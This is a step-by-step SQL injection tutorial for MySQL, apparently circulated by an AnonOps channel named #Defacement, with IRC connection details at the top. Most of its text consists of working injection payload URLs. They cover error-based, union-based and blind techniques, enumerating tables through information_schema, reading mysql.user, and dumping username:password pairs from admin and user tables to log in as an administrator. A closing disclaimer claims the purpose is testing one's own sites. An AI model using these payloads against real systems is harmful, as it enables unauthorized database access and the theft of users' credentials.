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                                                                          irc.anonops.pro:6667  
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                                                                       SSL:  irc.anonops.pro:6697
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                                                                          irc.anonops.bz:6667
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                                                                       SSL: irc.anonops.bz:6697
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                                                                             www.anonops.com
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Channel: #Defacement
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Full SQL Injection Tutorial (MySQL)
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In this tutorial i will describe how sql injection works and how to use it to get some useful information.
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First of all: What is SQL injection?
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It’s one of the most common vulnerability in web applications today.
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It allows attacker to execute database query in url and gain access
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to some confidential information etc…(in shortly).
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1.SQL Injection (classic or error based or whatever you call it) 
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2.Blind SQL Injection (the harder part)
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So let’s start with some action 
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1). Check for vulnerability
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Let’s say that we have some site like this
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http://www.site.com/news.php?id=5
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Now to test if is vulrnable we add to the end of url ‘ (quote),
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and that would be http://www.site.com/news.php?id=5′
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so if we get some error like
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“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…” or something similar that means is vulrnable to sql injection 
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2). Find the number of columns
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To find number of columns we use statement ORDER BY (tells database how to order the result)
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so how to use it? Well just incrementing the number until we get an error.
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http://www.site.com/news.php?id=5 order by 1/* <– no error
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http://www.site.com/news.php?id=5 order by 2/* <– no error
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http://www.site.com/news.php?id=5 order by 3/* <– no error
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http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
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that means that the it has 3 columns, cause we got an error on 4.
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3). Check for UNION function
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With union we can select more data in one sql statement. So we have
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http://www.site.com/news.php?id=5 union all select 1,2,3/* 
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(we already found that number of columns are 3 in section 2). )
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if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works 
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4). Check for MySQL version
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http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try –
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it’s a comment and it’s important for our query to work properly.
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let say that we have number 2 on the screen, now to check for version
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we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
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it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
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if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
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i didn’t see any paper covering this problem, so i must write it 
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what we need is convert() function
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i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
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or with hex() and unhex() i.e.
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http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
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and you will get MySQL version 
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5). Getting table and column name
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well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
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we must guess table and column name in most cases.
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common table names are: user/s, admin/s, member/s …
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common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
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i.e would be
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http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good :D)
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we know that table admin exists…
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now to check column names.
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http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
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we get username displayed on screen, example would be admin, or superadmin etc…
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now to check if column password exists
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http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
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we seen password on the screen in hash or plain-text, it depends of how the database is set up 
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i.e md5 hash, mysql hash, sha1…
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now we must complete query to look nice 
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for that we can use concat() function (it joins strings)
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i.e
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http://www.site.com/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin/*
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Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
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(there is another way for that, char(58), ascii value for : )
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http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
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now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
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when you have this, you can login like admin or some superuser 
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if can’t guess the right table name, you can always try mysql.user (default)
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it has user i password columns, so example would be
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http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.user/*
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6). MySQL 5
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Like i said before i’m gonna explain how to get table and column names
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in MySQL > 5.
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For this we need information_schema. It holds all tables and columns in database.
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to get tables we use table_name and information_schema.tables.
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i.e
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http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
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here we replace the our number 2 with table_name to get the first table from information_schema.tables
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displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
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i.e
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http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
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note that i put 0,1 (get 1 result starting from the 0th)
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now to view the second table, we change limit 0,1 to limit 1,1
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i.e
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http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
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the second table is displayed.
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for third table we put limit 2,1
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i.e
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http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
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keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc… 
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To get the column names the method is the same.
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here we use column_name and information_schema.columns
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the method is same as above so example would be
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http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
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the first column is diplayed.
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the second one (we change limit 0,1 to limit 1,1)
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ie.
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http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
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the second column is displayed, so keep incrementing until you get something like
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username,user,login, password, pass, passwd etc… 
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if you wanna display column names for specific table use this query. (where clause)
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let’s say that we found table users.
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i.e
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http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
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now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
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Note that this won’t work if the magic quotes is ON.
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let’s say that we found colums user, pass and email.
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now to complete query to put them all together 
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for that we use concat() , i decribe it earlier.
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i.e
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http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*
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what we get here is user:pass:email from table users.
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example: admin:hash:whatever@blabla.com
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That’s all in this part, now we can proceed on harder part 
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2. Blind SQL Injection
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Blind injection is a little more complicated the classic injection but it can be done 
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I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it 
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Let’s start with advanced stuff.
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I will be using our example
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http://www.site.com/news.php?id=5
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when we execute this, we see some page and articles on that page, pictures etc…
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then when we want to test it for blind sql injection attack
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http://www.site.com/news.php?id=5 and 1=1 <— this is always true
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and the page loads normally, that’s ok.
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now the real test
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http://www.site.com/news.php?id=5 and 1=2 <— this is false
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so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
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1) Get the MySQL version
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to get the version in blind attack we use substring
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i.e
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http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
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this should return TRUE if the version of MySQL is 4.
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replace 4 with 5, and if query return TRUE then the version is 5.
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i.e
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http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
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2) Test if subselect works
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when select don’t work then we use subselect
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i.e
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http://www.site.com/news.php?id=5 and (select 1)=1
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if page loads normally then subselects work.
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then we gonna see if we have access to mysql.user
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i.e
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http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
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if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
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3). Check table and column names
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This is part when guessing is the best friend 
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i.e.
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http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
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then if the page loads normally without content missing, the table users exits.
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if you get FALSE (some article missing), just change table name until you guess the right one 
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let’s say that we have found that table name is users, now what we need is column name.
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the same as table name, we start guessing. Like i said before try the common names for columns.
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i.e
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http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
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if the page loads normally we know that column name is password (if we get false then try common names or just guess)
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here we merge 1 with the column password, then substring returns the first character (,1,1)
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4). Pull data from database
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we found table users i columns username password so we gonna pull characters from that.
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>80
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ok this here pulls the first character from first user in table users.
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substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
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and then compare it with simbol greater then > .
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so if the ascii char greater then 80, the page loads normally. (TRUE)
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we keep trying until we get false.
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>95
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we get TRUE, keep incrementing
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>98
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TRUE again, higher
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99
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FALSE!!!
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so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’.
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then let’s check the second character.
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99
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Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99
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TRUE, the page loads normally, higher.
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>107
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>107
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FALSE, lower number.
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>104
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>104
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TRUE, higher.
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>105
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http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>105
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FALSE!!!
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we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far
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so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
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There are some tools for Blind SQL Injection, i think sqlmap is the best, 
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but i’m doing everything manually, cause that makes you better SQL INJECTOR 
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Hope you learned something from this paper.
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For more information and tutorials visit: http://www.anonops.com/tutorials/
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Quick channel access if you do not have your own IRC client installed.
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Webchat: http://webchat.anonops.pro/
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http://search.mibbit.com/networks/AnonOps
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For a full list of channels: /list on IRC
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For more information and tutorials visit: http://www.anonops.com/tutorials/
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Quick channel access if you do not have your own IRC client installed.
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Webchat: http://webchat.anonops.pro/
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http://search.mibbit.com/networks/AnonOps
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I am not responsible for any of the actions committed by anyone who reads this, nor do I condone using these tools to intentionally cause harm or damage any websites or servers.
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If you choose to do this it is on your own head, not mine - thank you.
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I have made this paste to make people aware of the tools out there for testing their own sites and servers, not anything else.